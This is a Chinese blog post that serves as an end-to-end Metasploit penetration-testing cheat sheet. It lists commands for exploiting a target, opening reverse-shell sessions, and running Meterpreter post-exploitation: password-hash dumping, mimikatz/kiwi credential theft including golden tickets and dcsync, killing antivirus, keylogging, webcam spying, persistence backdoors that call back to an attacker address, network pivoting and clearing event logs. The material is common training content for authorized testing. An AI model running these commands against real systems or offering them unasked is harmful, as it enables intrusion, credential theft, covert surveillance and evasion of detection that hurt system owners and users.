metasploit(MSF)渗透超细解说 -- 小黑渗透工具

这篇具有很好参考价值的文章主要介绍了metasploit(MSF)渗透超细解说 -- 小黑渗透工具。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

metasploit Framework(msf)里带数千个已知的软件漏洞,并保持持续更新,Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,采用Ruby语言编写。黑掉整个宇宙的称号!!!

初心:    记录msfconsole的渗透测试流程,以及每个流程点常用到的一些命令,其中还有一些不足的地方大家可以指出来,我会在本博客中添加补充,也会将大家的名字备注在补充的章节内!!  一起加油  ^-^

本章出后后续会出实战测试,也会将win和linux常用命令做一期更新。

目录 

kali自带的msf,升级更新

基本渗透使用流程

攻击载荷参数设置

meterpreter【获取权限后的后渗透工具】

meterperter特点【后渗透模块】

后渗透命令【win主机系统信息命令】

POST  后渗透模块【获取目标主机控制权后的渗透攻击】

后渗透流程【流程常用命令】

使用mimikatx抓取密码

提权【win提权到system】

KiWi模块使用(msf中集成mimikatz模块被kiwi取代)

后渗透模块【主机安装应用参数配置】

后渗透模块【后台操作设置】

 建立持续性后门

MSF搭建socks代理

路由配置

路由参数说明

 portfwd端口转发win系统

powershell收集域内信息

备注:meterpreter模块加载命令


kali自带的msf,升级更新

apt update                            更新安装包信息,只检查不更新

apt  upgrade                         更新已安装的软件包,不删除旧包

apt  full-upgrade                   升级包,删除旧包

长时间没有用kali,会导致数字签名会过期,从而导致无法更新源。

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add    解决

kiwi模块,渗透工具集合,安全

 

基本渗透使用流程

msfconsole                                   进入框架 search  ms17_010    

                   

search查找相关的漏洞攻击模块 (Auxiliary为辅助探测是否有该漏洞模块,exploit为漏洞利用模块)

use   xxx/xxx/xxx                       use选择攻击模块

info                                             使用info查看漏洞类型的信息(针对的系统版本、语言版本)

show payloads                             查看此漏洞可以利用的payload

set payload   xxx/xxx                    设置攻击载荷

show options                                查看模块需要配置的参数

show targets                                 查看可攻击的系统平台(默认会自动判断目标操作系统版本和语言)

set   xxxx                                     设置参数

exploit    /  run                              保存/攻击(如果是探测的话显示  + 号代表存在该漏洞) 后渗透阶段

攻击载荷参数设置

set RHOST 192.168.100.158   #设置RHOST,也就是要攻击主机的ip

set LHOST 192.168.100.132   #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell

set lport 6666              #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;

meterpreter【获取权限后的后渗透工具】

meterpreter属于stage payload,在Metasploit Framework中,Meterpreter属于一种在运行过程中可通过网络进行功能扩展型payload。这种工具基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

工作流程:目标先要执行初始的溢出的漏洞会话连接,可能是bind正向连接,或者反弹revers连接。反弹连接的时候加载dll链接文件,同时后台悄悄处理dll文件。 然后通过meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到GET请求后配置相应的客户端。 最后,meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

meterperter特点【后渗透模块】

meterpreter完全驻留在内存,没有写入磁盘

Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。 默认情况下,mertepreter的通信是加密的,所以很安全

    扩展性,许多新的特征模块可以被加载。            

                   设置payload时,可以设置为反向链接,可以获得meterpreter>            

                   就可以接着后渗透流程

?          【直接输入?,可以查看meterpreter中的参数说明】

background     【可以把meterpreter挂载到后台运行】

sessions -l       【查看获得的meterpreter_shell会话列表】

后渗透命令【win主机系统信息命令】

sysinfo                     查看目标主机系统信息

run scraper               查看目标主机详细信息

run hashdump           导出密码的哈希

load kiwi                  加载mimikatz

ps                           查看目标主机进程信息

pwd                         查看目标当前目录(windows)

getlwd                     查看目录当前目录(linux) search -f *.jsp -d e:\    搜索e盘中所有以.jsp为后缀的文件

download  e:\test.txt /root        将目标主机的e:\test.txt文件下载到/root目录下

upload /root/test.txt  d:\test      将/root/test.txt 上传到目录机的d:\test\目录

getpid                          查看Meterpreter shell的进程PID

migrate 1384                将当前Merterpreter shell的进程迁移到PID为1384的进程上

idletime                        查看主机运行时间

getuid                          查看获取的当前权限

getsystem                   提权,获得的当前用户是administrator才能成功

run killav                    关闭杀毒软件

screenshot                 截图

webcam_list              查看目标主机的摄像头

webcam_snap          拍照

webcam_stream       开视频

execute                    参数 -f 可执行文件             执行可执行程序

run getgui -u testl -p ABC123                   创建testl用户,密码为ABC123

run getgui -e                                          开启远程桌面

keyscan_start                                        开启键盘记录功能

keyscan_dump                                       显示捕捉到的键盘记录信息

keyscan_stop                                         停止键盘记录功能

uictl disable  keyboard                            禁止目标使用键盘

uictl enable  keyboard                             允许目标使用键盘

uictl disable  mouse                                禁止目标使用鼠标

uictl enable   mouse                               允许目标使用鼠标

load                                                      使用扩展库

run                                                        使用扩展库

POST  后渗透模块【获取目标主机控制权后的渗透攻击】

manage

run   post/windows/manage/migrate                                  自动进程迁移 

run   post/windows/manage/killav                                      关闭杀毒软件

run   post/windows/manage/enable_rdp                            开启远程桌面服务

run   post/windows/manage/autoroute                               查看路由信息

run  post/windows/manage/enable_rdp  USERNAME=SS2 PASSWORD=123456     

添加远程桌面用户

run   post/windows/manage/enable_rdp FORWARD=true  LPORT=6662 

将3389端口转发到6662

gather

run   post/windows/gather/enum_logged_on_users           列举当前登录的用户

run  post/windows/gather/enum_applications                     列举应用程序

run  post/windows/gather/credentials/windows_autologin    抓取自动登录的用户名和密码 run  post/windows/gather/smart_hashdump                         dump出所有用户的hash

run  post/windows/gather/enum_domain                              查看域控

run  post/windows/gather/enum_patches                             补丁信息【获取是否有直接可以利用的msf补丁序号】

run  post/windows/gather/checkvm                                     查看目标主机是否运行在虚拟机上

   后渗透流程【流程常用命令】

sysinfo                                                             查看目标主机的信息

run   post/windows/gather/checkvm               查看主机是否运行在虚拟机上

run killav                                                         关闭掉目标主机杀毒软件

run scraper                                                     获取目标主机的详细信息 访问文件系统

pwd                                                                查看当前目录

cat                                                                 读取文件内容

rm                                                                   删除文件

edit                                                                 使用vim编辑文件

mkdir                                                              新建目录

rmdir                                                               删除目录

download   file (文件)                                 帮助从目标系统中下载文件

duload  file(文件)                                        向目标系统上传文件

getuid                                                             命令可以获取当前用户的信息

getsystem                                                       自动提权为系统权限

使用mimikatx抓取密码

run windows/gather/credentials/windows_autologin     抓取自动登录的用户名和密码

run  hashdump              导出密码哈希 导出格式:    用户名:SID:LM哈希:NTLM哈希:::

run windows/gather/smart_hashdump                 命令的使用需要系统权限

前提:执行mimikatz必须System权限,并且执行时,要根据当前的系统位数进行选择

首先查看当前会话的权限(getuid),然后看系统位数(sysinfo),(upload )上传文件绝对路径,execute -i -f mimikatz.exe(执行)   【注:mimikatz必须使用system权限】

抓取密码: privilege::debug

                   sekurlsa::logonpasswords

提权【win提权到system】

一、当前权限是administrator用户

二、利用其它手段先提权到admininistrator用户,然后administrator用户可以直接在meterpreter_shell使用命令getsystem提权到system权限。

       

getuid                                  查看当前会话用户身份

getsystem                           尝试自动提权

KiWi模块使用(msf中集成mimikatz模块被kiwi取代)

msf中集成的mimikatz模块已经被kiwi取代            

         前提:提权到system权限,kiwi默认加载是32位。 如果目标主机是64位系统,泽必须先看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并查看系统明文。         

sysinfo                                                      查看系统的 

ps                                                             查看是否有64位进程

migrate  PID                                             进程迁移到Pid上

kiwi_cmd   sekurlsa::logonpasswords      可以使用mimikatz的全部功能

ps                                                   查看进程

load  kiwi                                        加载kiwi模块

help  kiwi                                        查看kiwi模块

creds_all                                         列举所有1凭据,可以列举系统中的明文密码

creds_kerberos                               列举所有kerberos凭据

creds_msv                                      列举所有msv凭据

creds_ssp                                      列举所有ssp凭据

creds_tspkg                                   列举所有tspkg凭据

creds_wdigest                               列举所有wdigest凭据

dcsync                                           通过dcsync检索用户账户信息

dcsync_ntlm                                   通过dcsync检索用户账户NTM散列、SID和RID

golden_ticket_create                     创建黄金票据

kerberos_ticket_list                       列举kerberos票据

kerberos_ticket_purge                  清除kerberos票据

kerberos_ticket_use                      使用kerberos票据

kiwi_cmd                                       执行mimikatz的命令,后面接mimikatz.exe命令 lsa_dump_sam                              dump出lsa的SAM

lsa_dump_secrets                          dump出lsa的密文

password_change                          修改密码

wifi_list                                            列出当前用户的wifi配置文件

wifi_list_shared                               列出共享wifi配置文件/编码

后渗透模块【主机安装应用参数配置】

run post/windows/gathtier/enum_applications                          查看目标主机安装哪些应用

execute   + [参数]

-f   伪造的线程令牌运指定可执行文件

-H  创建一个隐藏进程

-a   传递给命令的参数

-i    跟进程进行交互

-m   从内存中执行

-t    使用当前行进程

-s   在给定会话执行进程

screenshot                                                                       截图目标主机屏幕

run  post/windows/gather/enum_logged_on_users         查看目标主机有用户

创建账户:

方式一: run  getgui  -u  用户名 -p  密码

方式二: run post/windows/manage/enable_rdp  username=xxx password=xxxx

启用远程桌面:

idletime                                                                           检查远程用户的空闲时长

run  post/windows/manage/enable_rdp                          开启远程桌面

run  post/windows/manage/enable_rdp  FORWARD=true LPORT=6662     将3389端口转发到6662端口

后渗透模块【后台操作设置】

 键盘记录:

keyscan_start                                       开启键盘记录功能

keyscan_dump                                     显示捕捉到的键盘记录信息

keyscan_stop                                       停止键盘记录功能

禁止目标主机使用键盘鼠标:

uictl  disable(enable)  keyboard           禁止允许目标使用键盘

uictl   disable(enable)  mouse         禁止目标使用鼠标

目标主机摄像头拍照:

webcam_list                                         获取目标系统的摄像头列表

webcam_snap                                     从指定的摄像头,拍摄照片

webcam_stream                                  从指定的摄像头,开启视频

load/use                                              加载模块

load  -l                                                列出所有可用的扩展

load -help                                          帮助;

说明 生成后门木马,然后放到windows的启动目录中: C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动:   run  exploit/windows/local/peristence lhost=192.168.100.132  lport=xxx

进程连接192.168.100.132:8888  【缺点容易被杀毒】

netstat  -ano : findstr “8888”

 建立持续性后门

meterpreter模块基于内存DLL建立的连接,需要在目标系统内部留下一个持续性的后门。

两种方式:

        一种通过启动项启动(persistence),

        第二种服务启动(metsvc)

启动项:

首先要生成一个后门木马,然后放入windows的启动目录中,只要开机就可以启动连接对应端口。

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动:

run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        

#会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀

MSF搭建socks代理

msf中有三个代理模块 socks4a  、 socks5  、 socks_unc socks5可以设置用户名和密码,但有时候msf不会监听端口,可能导致代理失败 use  auxiliary/server/socks     使用该模块 这里socks模块只是将代理设置为监听(默认为1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流程也都能达到内网。

代理设置:

msf中将模块改为    use  auxiliary/server/socks_proxy

show options                查看模块详情 设置sock监听的接口IP和端口          

set  SRVHOST  ip(127.0.0.1)  && set  SRVPORT   端口

socks4a代理设置:

use   auxiliary/server/socks4a

set  SRVHOST     0.0.0.0

set  SRVPORT     1080 run

socks5代理设置:

use   auxiliary/server/socks5

set  SRVHOST     0.0.0.0

set  SRVPORT     1080

set   USERNAME   root

set   PASSWORD Password@

run

连接代理:

编辑本地proxychains程序配置文件 vim  /etc/proxychains.conf 浏览器也需要设置代理,直接通过浏览器就可以访问内网,找到ProxyList

[ProxyList]

中添加socks5 0.0.0.0 1080  root  password    【1080为监听端口】

用nmap测试程序时,必须使用proxychains4 nma -sT -Pn  xxxx  才可以

路由配置

 【使用代理前添加路由】

先添加路由让MSF能达到目标机器内网。

route add 209.98.32.33 mask 255.255.255.224  202.96.123.3  metric 5    执行命令添加路由

route print            打印路由的Destination        

route delete  209.98.32.33   删除路由

route change 209.98.32.33 netmask 255.255.255.224  202.96.123.3  metric 5【修改209.98.32.33网关修改为202.96.132.3】

路由转发:

方式一:

route                         查看网段信息

background               将目前进程挂到后台,回到msf

route add 172.16.10..0 255.255.255.0  1    添加路由(1是挂起session编号)

route  print                

查看路由信息

方式二: use   post/multi/manage/autoroute

set   session 1 exploit       【直接加载这个模块,调用session】

缺点: 通过这种方式做代理转发,只能是msf使用,其它的应用无法使用,其它应用使用需要增加sock代理。

路由参数说明

 add                     增加路由记录                                        

 del                      删除路由记录

target                   目的网络或目的主机                                

gw                       设置默认网关

mss                     设置TCP的最大区块长度,单位MB            

windows              指定通过路由表的TCP连接的TCP窗口大小

dev                      路由记录所表示的网络接口

netmask              设置掩码长度                                    

-A                        设置地址类型      

-c                         打印Linux内核的路由缓存  

-v                          显示详细信息      

 -n                       不执行DNS反向查找,直接显示数字形式的IP地址

-e                        netstart格式显示路由表        

 -net                    到一个网络的路由表

-host                   到一个主机的路由表

 portfwd端口转发win系统

portfwd add -l 9999 -r 192.168.100.158 -p 3389             

#将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权

限的主机的ip地址

portfwd  add -l  9999 -r 192.168.100.158 -p 3389    

-l        本地监听端口

-p       目标服务器端口

add     添加一个连接

将目标端口转发到本地监听端口,用于接收目标主机的端口反弹

rdesktop        127.0.0.1:9999      访问本地9999端口即可连接到目标主机的3389端口

clearev                       #清除日志

powershell收集域内信息

load  powershell                                                     加载powershell功能

powershell_import  /root/PowerView.ps1               导入powershell脚本,提前将该powershell脚本放到指定目标

powershell_execute  Get-NetDomain                    该模块获取域信息

powershell_execute Invoke-UserHunter               该功能模块用于定位域管理员登录的主机 powershell_execute Get-NetForest                      该模块用于定位域信息 powershell_execute Invoke-EnumerateLocalAdmin                             

枚举域中所有计算机上本地管理员组的成员

备注:meterpreter模块加载命令

meterpreter模块命令不齐全,可以执行load lstdapi加载补全命令

有时候后渗透收到的不是meterperpreter类型的session,可以用sessions -u id 来升级session。执行该命令,默认调用的是  /post/multi/manage/shell_to_meterpreter.

sessions -u   id    中的 id 为载荷id文章来源地址https://www.toymoban.com/news/detail-808069.html

到了这里,关于metasploit(MSF)渗透超细解说 -- 小黑渗透工具的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Metasploit——渗透攻击模块(Exploit)

    Metasploit常用命令、技术功能模块   Metasploit——辅助模块(Auxiliary)  目录 1.Exploit模块 2.生成Payload  3.Meterpreter常用命令 4.弱点扫描 Active exploits主动:攻击者主动向目标发起漏洞利用代码,触发漏洞             目标开放一个端口(服务),允许外界计算机连接这个端口(访问

    2024年02月11日
    浏览(48)
  • Kali最强渗透工具-metasploit

    msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。 metasploit让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击 metasploit 攻击 windows 操作系统 msfconsol

    2024年02月15日
    浏览(45)
  • Kali最强渗透工具- metasploit

    数据来源   本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。  得到ip地址我们能干嘛?         首先进行端口扫描 为什么要进行端口扫描?         端口扫描的作用就是发现目

    2023年04月16日
    浏览(44)
  • [课业] | 软件安全 | 使用渗透性工具Metasploit进行漏洞测试

    1.1 渗透测试技术的核心思想 渗透测试(Penetration Test)技术的核心思想是模仿黑客的特定攻击行为,也就是尽可能完整地模拟黑客使用的漏洞发现技术和攻击手段,对目标的安全性做深入的探测,发现系统最脆弱环节的过程。 渗透测试可以选择使用自动化测试工具,测试人员的

    2024年02月04日
    浏览(59)
  • 虚机Centos忘记密码如何重置 -- 小黑日常超细教学

               有时候虚机太多,会忘记有一些虚机的密码,当启动机器的时候那我们可以尝试重置虚机密码然后登录。            日常的小技能记述!! 目录 一、 演示虚机为centos7系列 二、进入开机前的页面,选中第一个,按“e”键,进入编辑模式 三、找到ro crashkernel项

    2024年02月12日
    浏览(33)
  • Metasploit Framework(MSF)基础框架

    Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。 常见名词解释: POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性

    2024年02月08日
    浏览(41)
  • 一、初识Metasploit(MSF使用详解超详细)

    前言 :Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。 Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新

    2024年02月08日
    浏览(91)
  • 【MSFconsole工具】下载、启动方法、msf常用基础命令、模块功能、核心命令(入门初识)

    目录 一、简介: 二、下载: 2.1、kali 2.2、官网: 2.3、GitHub: 三、启动方法 四、msf常用基础命令 五、msf结构 六、 核心命令: 很容易地获取、开发并对计算机软件漏洞实施攻击 附带数百个已知软件漏洞的专业级漏洞攻击工具 kali linux 新版已内置metasploit,已经没有metasploi

    2024年02月05日
    浏览(62)
  • 肥肠恐布--探索Kali Linux中的Metasploit Framework(MSF听说肾透大佬经常用)

    请注意,在使用Metasploit Framework进行渗透测试和漏洞利用时,务必遵守合法和授权的原则,此文仅供大家学习参考,请确保您获得了适当的授权,并遵守法律和合规性要求。非法使用和滥用导致严重的法律后果自负。 目录 前言 一、什么是Metasploit Framework(MSF)? 二、Metaspl

    2024年02月15日
    浏览(43)
  • Metasploit渗透测试框架

    一下笔记为观看课程得出https://www.bilibili.com/video/BV127411c7yE?p=6spm_id_from=pageDrivervd_source=5294f3174c841de416fef55d145e1e28 基于TCP协议收集主机信息 开放端口扫描db_nmap 查询网段内在线存活的主机 展示效果查询结果如下: 半连接的方式进行半连接扫描 使用auxiliary/sniffer下的psunffle模块进

    2024年02月10日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包